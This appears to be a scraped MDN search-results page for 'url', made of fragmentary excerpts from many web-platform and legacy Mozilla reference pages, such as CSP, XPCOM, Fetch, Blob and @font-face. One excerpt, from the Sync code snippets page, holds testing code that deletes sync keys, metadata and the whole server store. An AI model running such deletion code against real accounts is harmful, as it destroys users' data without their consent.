-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image:
url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } .ui-c...
...heckbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image:
url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } /* * box shadow generator tool */ body { max-width: 1000px; height: 800px; margin: 20px auto 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } #container { width: 100%; padding: 2px; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* container with shadows stacks */ #stack_container { height: 400px; overflow: hidden; position: relative; border: 1px solid #ccc; border-r...
... border: 1px solid #ccc; border-radius: 3px; display: block; background-position: center center; background-repeat: no-repeat; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; float: left; } #layer_manager .button:hover { background-color: #3380c4; border: 1px solid #3380c4; cursor: pointer; } #layer_manager [data-type='add'] { background-image:
url("https://mdn.mozillademos.org/files/5685/add-black.png"); } #layer_manager [data-type='add']:hover { background-image:
url("https://mdn.mozillademos.org/files/5687/add-white.png"); } #layer_manager [data-type='move-up'] { background-image:
url("https://mdn.mozillademos.org/files/5697/up-black.png"); margin-left: 5%; margin-right: 5%; } #layer_manager [data-type='move-up']:hover { backgrou...
...And 6 more matches
Index - HTTP
the principal use is to indicate the
url of a resource transmitted as the result of content negotiation.
... 29 csp: base-uri csp, directive, document directive, http, security the http content-security-policy base-uri directive restricts the
urls which can be used in a document's <base> element.
... 32 csp: connect-src csp, directive, http, reference, security the http content-security-policy (csp) connect-src directive restricts the
urls which can be loaded using script interfaces.
...And 6 more matches
ui/button/action - Archive of obsolete content
icon
url, string, object one or more icons for the button.
... you can specify this in one of three ways: as a resource://
url pointing at an icon file in your add-on's "data" directory, typically constructed using self.data.
url(iconfile) as a relative path: a string in the form "./iconfile", where "iconfile" is a relative path to the icon file beginning in your add-on's "data" directory as an object, or dictionary of key-value pairs.
...each key-value pair specifies an icon: each value specifies an image file as a resource://
url or relative path.
...And 5 more matches
Microsummary XML grammar reference - Archive of obsolete content
generators installed from the web via nssidebar::addmicrosummarygenerator are identified by the remote
url from which they were downloaded, and firefox ignores the value of this attribute for them.
...child elements: <include> (optional) a regular expression matching the
urls of pages that the generator is able to summarize.
... <exclude> (optional) a regular expression matching the
urls of pages that the generator is not able to summarize.
...And 5 more matches
Elements - Archive of obsolete content
helloworld.html: <!doctype html public "-//w3c//dtd html 4.01//en"> <html> <head> <title>hello world!</title> <style type="text/css"> p { -moz-binding:
url(hello.xml#default); } #p03 { -moz-binding:
url(hello.xml#hello2); } </style> </head> <body> <p>default content</p> <p>default content</p> <p id="p03">default content</p> </body> </html> hello.xml: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="default"> <content><html:b>hello world!
... css: div { -moz-binding:
url(mybinding.xml#default); } dom: elementreference.style.mozbinding = "
url(mybinding.xml#default)"; in both cases above we are using binding with id="default" contained in file mybinding.xml starting with firefox 3, you can also use a data:
url to embed the binding inline: div { -moz-binding:
url(data:text/xml;charset=utf-8,%3c%3fxml%20version%3d%221.0%22%3f%3e%0a%3cbindings%20id%3d%22xblt...
...estbindings%22%20xmlns%3d%22http%3a//www.mozilla.org/xbl%22%3e%0a%20%20%3cbinding%20id%3d%22xbltest%22%3e%3ccontent%3epass%3c/content%3e%3c/binding%3e%0a%3c/bindings%3e%0a); } since data:
urls don't support fragment identifiers, the first binding found in the embedded xml is used instead.
...And 5 more matches
Templates - Archive of obsolete content
this example and any others that reference internal rdf datasources will only work if you load them from a chrome
url.
...you can then enter the chrome
url into the browser
url field.
...to use your own datasource, specify the
url of an rdf file for the datasources attribute, as indicated in the example below: <box datasources="chrome://zoo/content/animals.rdf" ref="http://www.some-fictitious-zoo.com/all-animals"> you can even specify multiple datasources at a time by separating them with a space in the attribute value.
...And 5 more matches
Gecko Compatibility Handbook - Archive of obsolete content
more info clicking a link results in a 404-page not found but works in internet explorer the link may use an invalid form of a relative
url.
... change relative
urls from http://directory/...
...or use absolute paths in
urls such as http://example.com/directory/...
...And 5 more matches
NPAPI plugin reference - Archive of obsolete content
npn_get
url asks the browser to create a stream for the specified
url.
... npn_get
urlnotify requests creation of a new stream with the contents of the specified
url; gets notification of the result.
... npn_getvaluefor
url provides information to a plugin which is associated with a given
url, for example the cookies or preferred proxy.
...And 5 more matches
Sending forms through JavaScript - Learn web development
gaining control of the global interface standard html form submission, as described in the previous article, loads the
url where the data was sent, which means the browser window navigates with a full page load.
...form data (application/x-www-form-
urlencoded) is made of
url-encoded lists of key/value pairs.
...to send form data with xmlhttprequest, prepare the data by
url-encoding it, and obey the specifics of form data requests.
...And 5 more matches
Creating Sandboxed HTTP Connections
setting up an http connection the first step in setting up an http connection from an
url (stored in a string) is to create an nsiuri out of it.
...to create an nsiuri from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(my
urlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioservice's newchannelfromuri method: // get a channel for that nsiuri var channel = ioservice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called.
...below is an example: // global channel var gchannel; // init the channel // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(my
urlstring, null, null); // get a channel for that nsiuri gchannel = ioservice.newchannelfromuri(uri); // get an listener var listener = new streamlistener(callbackfunc); gchannel.notificationcallbacks = listener; gchannel.asyncopen(listener, null); function streamlistener(acallbackfunc) { this.mcallbackfunc = acallbackfunc; } streamlistener.prototype = { mdata: "", // nsistreamlistener ...
...And 5 more matches
Using the Browser API
for example: function canmovebwd() { browser.getcangoback().then(function(result) { if (result) { back.disabled = false; console.log("it's possible to navigate the history backward."); } else { back.disabled = true; console.log("it's not possible to navigate the history backward."); } }); } implementing the
url bar the
url bar for our simple browser is a <form> containing a single text <input>.
... when you tap the
url bar, you can enter a
url using the built-in firefox os keyboard (although note that we haven't implemented anything sophisticated in this app, like autofilling the http://, etc.).
... when you press the keyboard's return button, the 'submit' event is fired, which we handle like this:
urlform.addeventlistener('submit',function(e) { e.preventdefault(); browser.src =
urlbar.value;
urlbar.blur(); }); we first call preventdefault() to stop the form just submitting and reloading the page — which is really not what we want.
...And 5 more matches
Add-on Repository
its api provides
urls that can be visited to browse the repository's add-ons.
... to import the add-on repository code module, use: components.utils.import("resource://gre/modules/addonrepository.jsm"); method overview string getrecommended
url() string getsearch
url(in string searchterms) void cancelsearch() void retrieverecommendedaddons(in integer maxresults, in searchcallback callback) void searchaddons(in string searchterms, in integer maxresults, in searchcallback callback) properties property type description homepage
url string the
url of the repository site...
... methods getrecommended
url() returns the
url that can be visited to see recommended add-ons.
...And 5 more matches
mozIJSSubScriptLoader
js/xpconnect/idl/mozijssubscriptloader.idlscriptable this interface can be used from privileged javascript to load and run javascript code from the given
url at runtime.
... method overview jsval loadsubscript(in string
url, in object targetobj optional, in string charset optional); jsval loadsubscriptwithoptions(in string
url, in object options); methods loadsubscript() synchronously loads and executes the script from the specified
url.
... jsval loadsubscript( in string
url, in object targetobj optional, in string charset optional, ); example let context = {}; services.scriptloader.loadsubscript("chrome://my-package/content/foo-script.js", context, "utf-8" /* the script's encoding */); parameters
url the
url pointing to the script to load.
...And 5 more matches
nsIAnnotationService
methods setpageannotation() this method sets an annotation for given uri, overwriting any previous annotation with the same
url/name.
... do not use characters that are not valid in
urls such as spaces, ":", commas, or most other symbols.
... setitemannotation() this method sets an annotation for given item, overwriting any previous annotation with the same
url/name.
...And 5 more matches
nsIFrameScriptLoader
methods void loadframescript(in astring a
url, in boolean aallowdelayedload, [optional] in boolean aruninglobalscope) void removedelayedframescript(in astring a
url); jsval getdelayedframescripts(); loadframescript() load a script in the remote frame.
... parameters name type description a
url string
url for the script to load.
... a
url must be the absolute
url.
...And 5 more matches
nsILocalFileMac
inherits from: nsilocalfile last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview cf
urlref getcf
url(); native code only!
...obsolete since gecko 2.0 void initwithcf
url(in cf
urlref acf
url); native code only!
...obsolete since gecko 2.0 methods native code only!getcf
url note: observes the state of the followlinks attribute.
...And 5 more matches
nsIProcessScriptLoader
methods void loadprocessscript(in astring a
url, in boolean aallowdelayedload) void removedelayedprocessscript(in astring a
url); jsval getdelayedprocessscripts(); loadprocessscript() load a script in the child process.
... for example: let ppmm = services.ppmm.getchildat(1); ppmm.loadprocessscript('data:,dump("foo\n");', true); parameters name type description a
url string
url for the script to load.
... a
url must be the absolute
url.
...And 5 more matches
Plug-in Basics - Plugins
with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using
urls post data to
urls add hyperlinks or hotspots that link to new
urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
... </object> the first set of object element attributes are
urls.
... classid is the
url of the specific object implementation.
...And 5 more matches
Blob - Web APIs
for example, to construct a blob from a json string: const obj = {hello: 'world'}; const blob = new blob([json.stringify(obj, null, 2)], {type : 'application/json'}); creating a
url representing the contents of a typed array the following code creates a javascript typed array and creates a new blob containing the typed array's data.
... it then calls
url.createobject
url() to convert the blob into a
url.
... html <p>this example creates a typed array containing the ascii codes for the space character through the letter z, then converts it to an object
url.
...And 5 more matches
Drag Operations - Web APIs
when an image or link is dragged, the
url of the image or link is set as the drag data, and a drag begins.
...similarly, when dragging a link on a web page, the drag data item is the link's
url.
...the application/x.bookmark type can provide data with more details for use within the application whereas the other types can include just a single
url or text version.
...And 5 more matches
History.replaceState() - Web APIs
the history.replacestate() method modifies the current history entry, replacing it with the stateobj, title, and
url passed in the method parameters.
... this method is particularly useful when you want to update the state object or
url of the current history entry in response to some user action.
... syntax history.replacestate(stateobj, title, [
url]) parameters stateobj the state object is a javascript object which is associated with the history entry passed to the replacestate method.
...And 5 more matches
@font-face - CSS: Cascading Style Sheets
syntax @font-face { font-family: "open sans"; src:
url("/fonts/opensans-regular-webfont.woff2") format("woff2"),
url("/fonts/opensans-regular-webfont.woff") format("woff"); } descriptors font-display determines how a font face is displayed based on whether and when it is downloaded and ready to use.
...this can be a
url to a remote font file location or the name of a font on the user's computer.
... to provide the browser with a hint as to what format a font resource is — so it can select a suitable one — it is possible to include a format type inside a format() function: src:
url(ideal-sans-serif.woff) format("woff"),
url(basic-sans-serif.ttf) format("truetype"); the available types are: "woff", "woff2", "truetype", "opentype", "embedded-opentype", and "svg".
...And 5 more matches
@import - CSS: Cascading Style Sheets
syntax @import
url; @import
url list-of-media-queries; @import
url supports( supports-query ); @import
url supports( supports-query ) list-of-media-queries; where:
url is a <string> or a <
url> representing the location of the resource to import.
... the
url may be absolute or relative.
... note that the
url for a mozilla package need not actually specify a file; it can just specify the package name and part, and the appropriate file is chosen automatically (e.g.
...And 5 more matches
HTML documentation index - HTML: Hypertext Markup Language
property values are either a string or a
url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>.
... 25 itemtype attribute, global attribute, html, html microdata, microdata, reference the global attribute itemtype specifies the
url of the vocabulary that will be used to define itemprop's (item properties) in the data structure.
... 55 <a>: the anchor element content, element, html, html text-level semantics, html:flow content, html:interactive content, html:palpable content, html:phrasing content, inline element, reference, web the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a
url can address.
...And 5 more matches
CSP: base-uri - HTTP
the http content-security-policy base-uri directive restricts the
urls which can be used in a document's <base> element.
...not setting this allows any
url.
...ontent-security-policy: base-uri <source>; content-security-policy: base-uri <source> <source>; sources while this directive uses the same arguments as other csp directives, some of them don’t make sense for `<base>`, such as the keywords 'unsafe-inline' and 'strict-dynamic' <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
...And 5 more matches
JavaScript modules - JavaScript
a more convenient way of exporting all the items you want to export is to use a single export statement at the end of your module file, followed by a comma-separated list of the features you want to export wrapped in c
urly braces.
...the simplest way to do this is as follows: import { name, draw, reportarea, reportperimeter } from './modules/square.js'; you use the import statement, followed by a comma-separated list of the features you want to import wrapped in c
urly braces, followed by the keyword from, followed by the path to the module file — a path relative to the site root, which for our basic-modules example would be /js-examples/modules/basic-modules.
...this is much better than writing out the entire relative path each time, as it is shorter, and it makes the
url portable — the example will still work if you move it to a different location in the site hierarchy.
...And 5 more matches
Interacting with page scripts - Archive of obsolete content
is example a page script adds a string variable foo to the window: <!doctype html"> <html> <head> <script> window.foo = "hello from page script" </script> </head> </html> the content script can see this object if it uses unsafewindow.foo instead of window.foo: // main.js var tabs = require("sdk/tabs"); var mod = require("sdk/page-mod"); var self = require("sdk/self"); var page
url = self.data.
url("page.html") var pagemod = mod.pagemod({ include: page
url, contentscript: "console.log(unsafewindow.foo);" }) tabs.open(page
url); be careful using unsafewindow: you can't rely on any of its properties or functions being, or doing, what you expect.
...the "main.js" opens the local file "page.html" and attaches a content script to it: // main.js var tabs = require("sdk/tabs"); var self = require("sdk/self"); tabs.open({
url: self.data.
url("page.html"), onready: attachscript }); function attachscript(tab) { tab.attach({ contentscriptfile: self.data.
url("content-script.js") }); } the content script defines an object and assigns it to unsafewindow twice: the first time using cloneinto(), the second time using simple assignment: // content-script.js var contentscriptobject = {"greeting" : "hello from add-...
...the "main.js" opens the local file "page.html" and attaches a content script to it: // main.js var tabs = require("sdk/tabs"); var self = require("sdk/self"); tabs.open({
url: self.data.
url("page.html"), onready: attachscript }); function attachscript(tab) { tab.attach({ contentscriptfile: self.data.
url("content-script.js") }); } the content script defines a function greetme() and exports it to the page script context.
...And 4 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
opening test.xul will show the local file
url in the location bar.
... fixme: we should advise against using such method fixme: figure 1: dialog requesting privileges listing 3: grant privileges without manual confirmation for a specific file user_pref("capability.principal.codebase.test.granted", "universalxpconnect"); user_pref("capability.principal.codebase.test.id", "file
url"); frequently used xpcom functions let’s take a look at those xpcom functions that are used especially frequently.
... listing 10: creating a backup of a specific file in a separate folder file.initwithpath('c:\\temp\\temp.txt'); backupfolder = file.parent.parent; // c:\ backupfolder.append('backup'); // c:\backup backupfolder.create(components.interfaces.nsifile.directory_type, 0666); file.copyto(backupfolder, file.leafname+'.bak'); converting between file paths and file
urls xpcom functions can use both remote resources and local files, and these functions almost always specify their targets using uris.
...And 4 more matches
Code snippets - Archive of obsolete content
for each (let client in tabsengine.getallclients()) { for each (let tab in client.tabs) { let
url = tab.
urlhistory[0]; // load the tab via the tabbed browser api.
... mainwindow.gbrowser.addtab(
url); } } partially corrupt a server components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); function deletepath(path) { let resource = new resource(weave.service.storage
url + path); resource.setheader("x-confirm-delete", "1"); return resource.delete(); } // delete meta/global: deletepath("meta/global"); // delete keys: deletepath("crypto/keys"); // delete server: deletepath(""); corrupt a single engine on the server let engine = "bookmarks"; components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); components.utils.import("resource://services-sync/util.js"); let r = new resource(weave.service.storage
url + "meta...
...(id, "bookmarks"); let len = record.tostring().length; if (len > 1000) { console.log("id: " + id + ", len = " + len + ", " + record.title); } } print an alphabetically sorted list of members of a collection components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); let ids = json.parse(new resource(weave.service.storage
url + "bookmarks").get()); for each (let id in ids.sort()) { console.log(" " + id); } get a count of the number of members of a collection on the server let collection = "passwords"; components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); json.parse(new resource(weave.service.storage
url + collection).get()).length; dump the cl...
...And 4 more matches
A XUL Bestiary - Archive of obsolete content
the chrome
url this concept of a chrome as an integrated, dynamic thing in some way divorced from the "appcore" is realized in the use of the chrome
url to point to chunks of xul and their related files.
... the chrome
url, which appears in place of the http
url in pointers like the following global skin processing instruction: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> specifies a chrome to be loaded by the gecko rendering engine.
...me is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="mozilla help" oncommand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome
url is being used to point to a chrome within the package hierarchy of the mozilla application.
...And 4 more matches
Content Panels - Archive of obsolete content
set the
url to appear in the frame with the src attribute.
... this
url may point to any kind of file, although it will usually point to an html file or another xul file.
...when the user enters a
url or clicks on a link in a document, the source of the frame is changed.
...And 4 more matches
Extentsions FAQ - Archive of obsolete content
the ietab (opens ie in a firefox tab) should be able do this if you set it to always open "file://*"
urls in an ie tab.
... you must remove update
url from the install.rdf and use a known to amo minversion/maxversion.
... is it possible to open the
url in a new tab?
...And 4 more matches
Theme changes in Firefox 2 - Archive of obsolete content
browser/go-rtl.png new file; go icon to use if it's positioned at the left end of the
url field.
... browser/safebrowsing/browser-protection.css new file; css for the window that appears to warn the user that a site may be fraudulent, as well as the
url bar icon that indicates a site may be fraudulent.
... browser/safebrowsing/warning16x16.png new file; this is the 16x16 pixel version of the warning icon displayed in the
url bar when the safe browsing warning window is displayed.
...And 4 more matches
Windows Media in Netscape - Archive of obsolete content
note that the classids must be passed in c
urly braces "{}".
... this is the example: needs to be embedded in wiki page (can it just be put here?) <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full"> <param name="autostart" value="true"> <param name="
url" value="media/preludesteel.wma"> your browser does not support the activex windows media player </object> the same markup (used above and shown below) will work in both ie and netscape 7.1.
... <object id="playerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full" /> <param name="autostart" value="true" /> <param name="
url" value="preludesteel.wma" /> your browser does not support the activex windows media player </object> the classid attribute references the clsid of windows media player 7 and above -- windows media player versions before 7 used a different clsid.
...And 4 more matches
Plug-in Development Overview - Gecko Plugin API Reference
sending and receiving streams streams are objects that represent
urls and the data they contain.
... working with
urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a
url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp.
... use npn_get
url to request the browser to load a
url into a particular browser window or frame for display, or to deliver the data of that
url to the plug-in instance in a new stream.
...And 4 more matches
Making asynchronous programming easier with async and await - Learn web development
status: ${response.status}`); } else { return response.blob(); } }) .then(myblob => { let object
url =
url.createobject
url(myblob); let image = document.createelement('img'); image.src = object
url; document.body.appendchild(image); }) .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); by now, you should have a reasonable understanding of promises and how they work, but let's convert this to use async/await to see how much simpler it makes ...
...status: ${response.status}`); } else { let myblob = await response.blob(); let object
url =
url.createobject
url(myblob); let image = document.createelement('img'); image.src = object
url; document.body.appendchild(image); } } myfetch() .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); it makes code much simpler and easier to understand — no more .then() blocks everywhere!
...status: ${response.status}`); } else { return await response.blob(); } } myfetch().then((blob) => { let object
url =
url.createobject
url(blob); let image = document.createelement('img'); image.src = object
url; document.body.appendchild(image); }).catch(e => console.log(e)); you can try typing in the example yourself, or running our live example (see also the source code).
...And 4 more matches
Client-side storage - Learn web development
the most interesting parts of this are those shown below — to actually display our video blobs in a <video> element, we need to create object
urls (internal
urls that point to the video blobs stored in memory) using the
url.createobject
url() method.
... once that is done, we can set the object
urls to be the values of our <source> element's src attributes, and it works fine.
... function displayvideo(mp4blob, webmblob, title) { // create object
urls out of the blobs let mp4
url =
url.createobject
url(mp4blob); let webm
url =
url.createobject
url(webmblob); ...
...And 4 more matches
Addon
optional properties attribute type description about
url read only string the
url of the about dialog to display for this add-on.
...if you don't provide an about
url, a generic about dialog is displayed.
... homepage
url read only string the homepage
url of the add-on.
...And 4 more matches
Using JavaScript code modules
the
url for a code module as you can see from the example above, you need a
url to import a code module.
... (the
url in the example is "resource://app/my_module.jsm".) code modules can only be loaded using a chrome: (), resource:, or file:
url.
... if your extension or application needs to support mozilla 1.9.x (firefox 3.x), you should register a new resource
url.
...And 4 more matches
Index
this option is obsolete -u
url specify the
url.
... * creating or modifying a crl: crlutil -g|-m -c crl-gen-file -n nickname [-i crl] [-u
url] [-d keydir] [-p dbprefix] [-l alg] [-a] [-b] * listing all crls or a named crl: crlutil -l [-n crl-name] [-d krydir] * deleting crl from db: crlutil -d -n nickname [-d keydir] [-p dbprefix] * erasing crls from db: crlutil -e [-d keydir] [-p dbprefix] * deleting crl from db: crlutil -d -n nickname [-d keydir] [-p dbprefix] * erasi...
...ng crls from db: crlutil -e [-d keydir] [-p dbprefix] * import crl from file: crlutil -i -i crl [-t crltype] [-u
url] [-d keydir] [-p dbprefix] [-b] see also certutil(1) see also additional resources nss is maintained in conjunction with pki and security-related projects through mozilla dn fedora.
...And 4 more matches
mozITXTToHTMLConv
.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) inherits from nsistreamconverter implemented by @mozilla.org/txttohtmlconv;1 as a service: var ios = components.classes["@mozilla.org/txttohtmlconv;1"] .getservice(components.interfaces.mozitxttohtmlconv); method overview unsigned long citeleveltxt(in wstring line, out unsigned long loglinestart) void find
urlinplaintext(in wstring text, in long alength, in long apos, out long astartpos, out long aendpos) wstring scanhtml(in wstring text, in unsigned long whattodo) wstring scantxt(in wstring text, in unsigned long whattodo) constants conversion control attributes these bits allow you to control the conversion of text into html.
... k
urls unsigned long enables automatic addition of hyperlinks for
urls in the text.
... find
urlinplaintext() returns the start and end offsets of the first
url found in a substring.
...And 4 more matches
nsIBrowserHistory
it adds functions used by the basic browser like, marking pages as typed in the
url bar, and removing pages as from the history interface.
... designates the specified
url as coming from a link explicitly followed by the user (for example by clicking on it).
... void markpageasfollowedlink( in nsiuri auri ); parameters auri the
url that is to be marked as explicitly followed by the user.
...And 4 more matches
nsIDocShell
method overview void addsessionstorage(in nsiprincipal principal, in nsidomstorage storage); void addstate(in nsivariant adata, in domstring atitle, in domstring a
url, in boolean areplace); void beginrestore(in nsicontentviewer viewer, in boolean top); void createaboutblankcontentviewer(in nsiprincipal aprincipal); void createloadinfo(out nsidocshellloadinfo loadinfo); void detacheditorfromwindow(); violates the xpcom interface guidelines void finishrestore(); void firepagehidenotification(in boolean i...
... internal_load_flags_inherit_owner 0x1 used to indicate that it may be safe to inherit the owner of a javascript: or data:
url from the existing document.
...void addstate( in nsivariant adata, in domstring atitle, in domstring a
url, in boolean areplace ); parameters adata the state object to pass to the popstate event.
...And 4 more matches
nsILoginManagerStorage
method overview void addlogin(in nsilogininfo alogin); unsigned long countlogins(in astring ahostname, in astring aaction
url, in astring ahttprealm); void findlogins(out unsigned long count, in astring ahostname, in astring aaction
url, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins); void getalldisabledhosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames); void getallencryptedlogins([optional] out unsigned long count, [retval, array, size_...
...unsigned long countlogins( in astring ahostname, in astring aaction
url, in astring ahttprealm ); parameters ahostname the hostname to which to restrict the search.
...aaction
url the
url of the form to which the login will be submitted.
...And 4 more matches
nsINavHistoryService
transition_typed 2 this transition type is set when the user typed the
url to get to the page.
... markpageastyped() this method designates the
url as having been explicitly typed in by the user, so it can be used as an autocomplete result.
... it is called by the
url bar when the user types in a
url.
...And 4 more matches
nsIUpdateItem
method overview void init(in astring id, in astring version, in astring installlocationkey, in astring minappversion, in astring maxappversion, in astring name, in astring download
url, in astring xpihash, in astring icon
url, in astring update
url, in astring updatekey, in long type, in astring targetappid); attributes attribute type description icon
url astring the
url of the icon that can be shown for this item.
... updaterdf astring the
url of the update rdf file for this item.
... xpi
url astring the
url of the xpi where this item can be downloaded.
...And 4 more matches
Plug-in Development Overview - Plugins
sending and receiving streams streams are objects that represent
urls and the data they contain.
... working with
urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a
url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp.
... use npn_get
url to request the browser to load a
url into a particular browser window or frame for display, or to deliver the data of that
url to the plug-in instance in a new stream.
...And 4 more matches
Ajax navigation example - Web APIs
unction ajaxerror () { alert("unknown error."); } function ajaxload () { var vmsg, nstatus = this.status; switch (nstatus) { case 200: vmsg = json.parse(this.responsetext); document.title = opageinfo.title = vmsg.page; document.getelementbyid(stargetid).innerhtml = vmsg.content; if (bupdate
url) { history.pushstate(opageinfo, opageinfo.title, opageinfo.
url); bupdate
url = false; } break; default: vmsg = nstatus + ": " + (ohttpstatus[nstatus] || "unknown"); switch (math.floor(nstatus / 100)) { /* case 1: // info...
...ent error #" + vmsg); break; case 5: /* server error 5xx */ alert("server error #" + vmsg); break; default: /* unknown status */ ajaxerror(); } } closereq(); } function filter
url (s
url, sviewmode) { return s
url.replace(rsearch, "") + ("?" + s
url.replace(rhost, "&").replace(rview, sviewmode ?
... "&" + sviewkey + "=" + sviewmode : "").slice(1)).replace(rendqstmark, ""); } function getpage (spage) { if (bisloading) { return; } oreq = new xmlhttprequest(); bisloading = true; oreq.onload = ajaxload; oreq.onerror = ajaxerror; if (spage) { opageinfo.
url = filter
url(spage, null); } oreq.open("get", filter
url(opageinfo.
url, "json"), true); oreq.send(); oloadingbox.parentnode || document.body.appendchild(oloadingbox); } function requestpage (s
url) { if (history.pushstate) { bupdate
url = true; getpage(s
url); } else { /* ajax navigation is not supported */ location.assign(s
url); } } function processlink () { if (this.
...And 4 more matches
Using IndexedDB - Web APIs
ub-year" name="pub-year" /> </td> </tr> </tbody> <tbody> <tr> <td> <label for="pub-file"> file image: </label> </td> <td> <input type="file" id="pub-file"/> </td> </tr> <tr> <td> <label for="pub-file-
url"> online-file image
url:<br/> <span class="note">(same origin
url)</span> </label> </td> <td> <input type="text" id="pub-file-
url" name="pub-file-
url"/> </td> </tr> </tbody> </table> <div class="button-pane"> <input type="button" id="add-button" value="add publica...
... iframe.load(function() { $(this).contents().find('html').html(html); }); }); reader.readastext(blob); } else if (blob.type.indexof('image/') == 0) { iframe.load(function() { var img_id = 'image-' + key; var img = $('<img id="' + img_id + '"/>'); $(this).contents().find('body').html(img); var obj_
url = window.
url.createobject
url(blob); $(this).contents().find('#' + img_id).attr('src', obj_
url); window.
url.revokeobject
url(obj_
url); }); } else if (blob.type == 'application/pdf') { $('*').css('cursor', 'wait'); var obj_
url = window.
url.createobject
url(blob); iframe.load(function() { $('*').css('cursor', 'auto'); }); ...
... iframe.attr('src', obj_
url); window.
url.revokeobject
url(obj_
url); } else { iframe.load(function() { $(this).contents().find('body').html("no view available"); }); } }); } /** * @param {string} biblioid * @param {string} title * @param {number} year * @param {string}
url the
url of the image to download and store in the local * indexeddb database.
...And 4 more matches
RTCIceServer - Web APIs
urls this required property is either a single domstring or an array of domstrings, each specifying a
url which can be used to connect to the server.
... avoid specifying an unnecessarily large number of
urls in the
urls property; the startup time for your connection will go up substantially.
... older versions of the webrtc specification included an
url property instead of
urls; this was changed in order to let you specify multiple addresses for each server in the list, as shown in the example below.
...And 4 more matches
ServiceWorkerContainer.register() - Web APIs
the register() method of the serviceworkercontainer interface creates or updates a serviceworkerregistration for the given script
url.
... if successful, a service worker registration ties the provided script
url to a scope, which is subsequently used for navigation matching.
... syntax serviceworkercontainer.register(script
url, options) .then(function(serviceworkerregistration) { ...
...And 4 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
this can either be: a usvstring containing the direct
url of the resource you want to fetch.
... body any body that you want to add to your request: this can be a blob, buffersource, formdata,
urlsearchparams, usvstring, or readablestream object.
...this can be a same-origin
url, about:client, or an empty string.
...And 4 more matches
Sending and Receiving Binary Data - Web APIs
}; oreq.send(); receiving binary data in older browsers the load_binary_resource() function shown below loads binary data from the specified
url, returning it to the caller.
... function load_binary_resource(
url) { var req = new xmlhttprequest(); req.open('get',
url, false); //xhr binary charset opt by marcus granado 2006 [http://mgran.blogspot.com] req.overridemimetype('text\/plain; charset=x-user-defined'); req.send(null); if (req.status != 200) return ''; return req.responsetext; } the magic happens in line 5, which overrides the mime type, forcing the browser to treat it as plain text, using a user-defined character set.
... var filestream = load_binary_resource(
url); var abyte = filestream.charcodeat(x) & 0xff; // throw away high-order byte (f7) the example above fetches the byte at offset x within the loaded binary data.
...And 4 more matches
src - CSS: Cascading Style Sheets
syntax /* <
url> values */ src:
url(https://somewebsite.com/path/to/font.woff); /* absolute
url */ src:
url(path/to/font.woff); /* relative
url */ src:
url(path/to/font.woff) format("woff"); /* explicit format */ src:
url('path/to/font.woff'); /* quoted
url */ src:
url(path/to/svgfont.svg#example); /* fragment identifying font */ /* <font-face-name> values */ src: local(font); /* unquoted name */ src: local(some font); /* name containing space */ src: local("font"); /* quoted name */ /* multiple items */ src: local(font),
url(path/to/font.svg) format("svg"),
url(path/...
